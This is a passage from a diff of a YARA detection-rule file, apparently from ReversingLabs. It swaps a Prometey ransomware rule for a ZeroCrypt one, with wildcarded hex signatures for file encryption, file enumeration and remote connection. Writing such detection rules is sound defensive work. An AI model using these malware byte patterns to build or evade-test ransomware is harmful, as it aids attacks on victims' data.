-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ( all of ($enum_shares_p*))
+		uint16(0)==0x5A4D and ($enumerate_resources and $enumerate_files and $encrypt_files and $remote_connection_1)
 }
-rule REVERSINGLABS_Win32_Ransomware_Prometey : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Zerocrypt : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Prometey ransomware."
+		description = "Yara rule that detects ZeroCrypt ransomware."
 		author = "ReversingLabs"
-		id = "a5902fc6-2752-520f-be84-df9ea7b1e27d"
-		date = "2021-06-07"
-		modified = "2021-06-07"
+		id = "89e47d7f-1ac4-570d-8ae1-30f0acc21462"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Prometey.yara#L1-L156"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "f14c9605e2d375176b461fd396be66754b0ace7dcaada8ca33ad86f6eda10b73"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.ZeroCrypt.yara#L1-L94"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "947925206ded187eac31c5046d75ab017869ae3f8dc906f2e5536d4db219f108"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -30060,145 +31630,96 @@ rule REVERSINGLABS_Win32_Ransomware_Prometey : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Prometey"
+		tc_detection_name = "ZeroCrypt"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection_p1 = {
-            55 8D AC 24 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 85 ?? ?? ?? ?? 53 56 57 50 8D 45 ?? 64 A3
-            ?? ?? ?? ?? 6A ?? 5E 8D 85 ?? ?? ?? ?? 89 75 ?? 50 BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ??
-            ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ??
-            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5B 8D 4D ?? 88 5D ?? E8 ?? ??
-            ?? ?? 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03
-            C1 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 95 ?? ?? ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? 59 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? 0F 43 8D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85
-            ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 33 DB 53 53 53 53 50 88 5D
+		$encrypt_file_1 = {
+            55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ??
+            ?? ?? 64 A3 ?? ?? ?? ?? 8B F2 8B F9 68 ?? ?? ?? ?? 8B D7 8D 4C 24 ?? E8 ?? ?? ?? ??
+            83 C4 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 8B D0 56 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ??
+            83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44
+            24 ?? 72 ?? 8B 16 EB ?? 8B D6 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ??
+            ?? ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84
+            24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ??
+            C6 84 24 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B D6 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F0 C6 84 24 ?? ?? ?? ?? ?? 8B
+            D7 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 8B D0
+            56 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 8B D0 68 ?? ?? ?? ??
+            8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ?? ??
+            ?? 3B C6 74 ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ??
+            ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 83
+            7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ??
+            C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ??
+            FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? 66 89 44 24 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24
         }
-		$remote_connection_p2 = {
-            FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 53 56 53 53 6A ?? 68 ?? ??
-            ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B D8 85 DB 74 ?? 6A ?? 68 ?? ?? ?? ??
-            33 C0 50 50 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ??
-            33 C0 50 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50
-            E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ??
-            8D 4D ?? E8 ?? ?? ?? ?? 56 FF D7 53 FF D7 FF 75 ?? FF D7 80 7D ?? ?? 74 ?? 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8D
-            ?? ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 81 C5 ?? ?? ?? ?? C9 C3 8B 85 ?? ?? ?? ?? 85 C0 0F
-            84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ?? 8D 95 ?? ?? ?? ?? C6 84 05 ?? ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? ?? E8
+		$encrypt_file_2 = {
+            C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ??
+            33 C0 C7 44 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 66 89 44
+            24 ?? 8D B4 24 ?? ?? ?? ?? 0F 43 BC 24 ?? ?? ?? ?? 8D 44 24 ?? 83 BC 24 ?? ?? ?? ??
+            ?? 50 0F 43 B4 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 57 56 8B 00 FF D0 85 C0 68 ?? ?? ?? ?? 0F 95 C3 E8 ?? ?? ?? ?? 83 C4 ?? 85
+            C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 0F 84 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ??
+            8D 44 24 ?? 8D B4 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F 43 B4 24 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 56 8B 00 FF D0 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A
+            ?? 50 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6
+            84 24 ?? ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 83 EC ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 4C
+            24 ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? 8B 58 ?? 03 18 E8 ?? ?? ??
+            ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 44 24 ?? ?? ?? ??
+            ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 33 C9 8B 00 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84
+            24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ??
+            ?? ?? ?? 66 89 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 84
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ??
+            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8B F8 8D 4C 24 ?? 57 BE ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 4C 24 ?? 8B 41 ?? F6 84 04 ?? ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? BA ?? ?? ?? ??
+            03 C8 8B F3 33 C0 39 41 ?? 0F 44 C2 83 E0 ?? 89 41 ?? 85 41 ?? 74 ?? 6A ?? E8 ?? ??
+            ?? ?? 56 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 6A ?? 56 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? F3 0F 6F 00 F3 0F 7F 07 E8 ?? ?? ?? ?? F3 0F 6F
         }
-		$find_files_p1 = {
-            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ??
-            ?? BA ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? 8D 4D ?? 8B D3 C7 04
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ??
-            51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ??
-            ?? 33 C0 8D 7D ?? AB AB AB 33 C0 89 45 ?? 89 45 ?? 89 45 ?? C6 45 ?? ?? F6 85 ?? ??
-            ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 95 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 8B D0 C6 45 ?? ?? 8B 4A
-            ?? 8B 7A ?? 2B CF 39 4E ?? 76 ?? 8B 46 ?? 2B 46 ?? 3B C7 72 ?? 83 7A ?? ?? 72 ?? 8B
-            12 57 52 51 8B CE E8 ?? ?? ?? ?? EB ?? 56 8B CA E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ??
-            ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D
-            4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8B 45 ?? 0F 43 4D ?? 8D 04 41 8D 4D ?? 0F 43 4D
-            ?? 51 50 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 7D
-            ?? 8B 9D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 83 7D ?? ?? 8B 45 ?? 0F 43 7D ?? 89 8D ??
-            ?? ?? ?? 3B D8 77 ?? 85 DB 75 ?? 8B F3 EB ?? 0F BE 09 2B C3 40 89 8D ?? ?? ?? ?? 03
-        }
-		$find_files_p2 = {
-            C7 89 85 ?? ?? ?? ?? 2B C7 50 51 57 EB ?? 53 FF B5 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 46 2B C6 50 FF B5 ?? ?? ?? ?? 56 E8 ?? ?? ?? ??
-            8B F0 83 C4 ?? 85 F6 75 ?? 83 CE ?? 33 DB 56 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 45 ?? 89 5D ?? 50 8D 4D ?? 89 5D
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 7D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 7D ?? 85 D2 74 ??
-            83 C9 ?? 8D 42 ?? 3B C1 0F 42 C8 03 CF EB ?? 2B F7 EB ?? 3B CF 74 ?? 49 80 39 ?? 75
-            ?? 2B CF EB ?? 83 C9 ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8D 79 ?? 89 5D ?? C7 45 ?? ?? ??
-            ?? ?? 88 5D ?? 3B D7 0F 82 ?? ?? ?? ?? 2B D7 8D 45 ?? 83 C9 ?? 83 FA ?? 0F 42 CA 83
-            7D ?? ?? 51 0F 43 45 ?? 8D 4D ?? 03 C7 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC
-            8D 45 ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 51 51 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            6A ?? 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B 78 ?? 03 38 3B FB 7D ?? 81 FE ?? ?? ?? ?? 76 ?? 8D
-        }
-		$find_files_p3 = {
-            4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B FB 7D ?? 81 FE ?? ?? ?? ??
-            76 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ??
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 45 ?? 0F 43 4D
-            ?? 8D 04 41 50 51 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? C6 45
-            ?? ?? 56 BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ??
-            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? C6 45 ?? ?? E8 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
-            ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 51 0F 43 45 ?? 51 50 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 56 BA ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85
-        }
-		$find_files_p4 = {
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 50 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 45
-            ?? 8D 4D ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 45 ?? ?? EB ?? 50 8D 4D ?? E8
-            ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 9D ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ??
-            ?? ?? ?? 8B 7D ?? 8B 75 ?? 6A ?? 5B 3B F7 74 ?? 56 E8 ?? ?? ?? ?? 03 F3 59 3B F7 75
-            ?? 8B 7D ?? 8B 75 ?? 85 F6 74 ?? 3B F7 74 ?? 8B CE E8 ?? ?? ?? ?? 03 F3 3B F7 75 ??
-            8B 75 ?? 8B 45 ?? 2B C6 99 F7 FB 6B C0 ?? 50 56 E8 ?? ?? ?? ?? 59 59 8D 4D ?? E8 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
-        }
-		$encrypt_files = {
-            8B FF 55 8B EC 57 FF 75 ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 8B F8 8B 49 ?? 90 F6 C1 ?? 75
-            ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 45 ?? 6A ?? 59 83 C0 ?? F0 09 08 83 C8 ?? E9
-            ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 90 C1 E8 ?? A8 ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ??
-            ?? EB ?? 8B 45 ?? 8B 40 ?? 90 A8 ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 83 61
-            ?? ?? 84 C0 8B 45 ?? 74 ?? 8B 48 ?? 89 08 8B 45 ?? 6A ?? 59 83 C0 ?? F0 21 08 8B 45
-            ?? 53 6A ?? 5B 83 C0 ?? F0 09 18 8B 45 ?? 6A ?? 59 83 C0 ?? F0 21 08 8B 45 ?? 83 60
-            ?? ?? 8B 45 ?? 8B 40 ?? 90 A9 ?? ?? ?? ?? 75 ?? 56 8B 75 ?? 6A ?? E8 ?? ?? ?? ?? 59
-            3B F0 74 ?? 8B 75 ?? 53 E8 ?? ?? ?? ?? 59 3B F0 75 ?? 57 E8 ?? ?? ?? ?? 59 85 C0 75
-            ?? FF 75 ?? E8 ?? ?? ?? ?? 59 5E FF 75 ?? 8B 5D ?? 53 E8 ?? ?? ?? ?? 59 59 84 C0 75
-            ?? 8B 45 ?? 6A ?? 59 83 C0 ?? F0 09 08 83 C8 ?? EB ?? 0F B6 C3 5B 5F 5D C3
+		$encrypt_file_3 = {
+            00 F3 0F 7F 47 ?? F3 0F 6F 40 ?? F3 0F 7F 47 ?? F3 0F 6F 40 ?? 8D 84 24 ?? ?? ?? ??
+            50 51 F3 0F 7F 47 ?? 57 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4
+            ?? 85 F6 74 ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF B4 24 ??
+            ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            85 C0 75 ?? 8B 44 24 ?? 8D 4C 24 ?? 8B 40 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75
+            ?? 83 C8 ?? 83 E0 ?? 89 41 ?? 85 41 ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 85 F6 74 ?? 56 E8
+            ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B3 ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? C6 84 24 ??
+            ?? ?? ?? ?? 50 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 32 DB
+            C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ??
+            ?? 66 89 84 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF
+            B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ??
+            ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0
+            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 8A C3 C7 84 24 ?? ?? ?? ??
+            ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ?? ?? ??
+            ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and $encrypt_file_1 and $encrypt_file_2 and $encrypt_file_3
 }
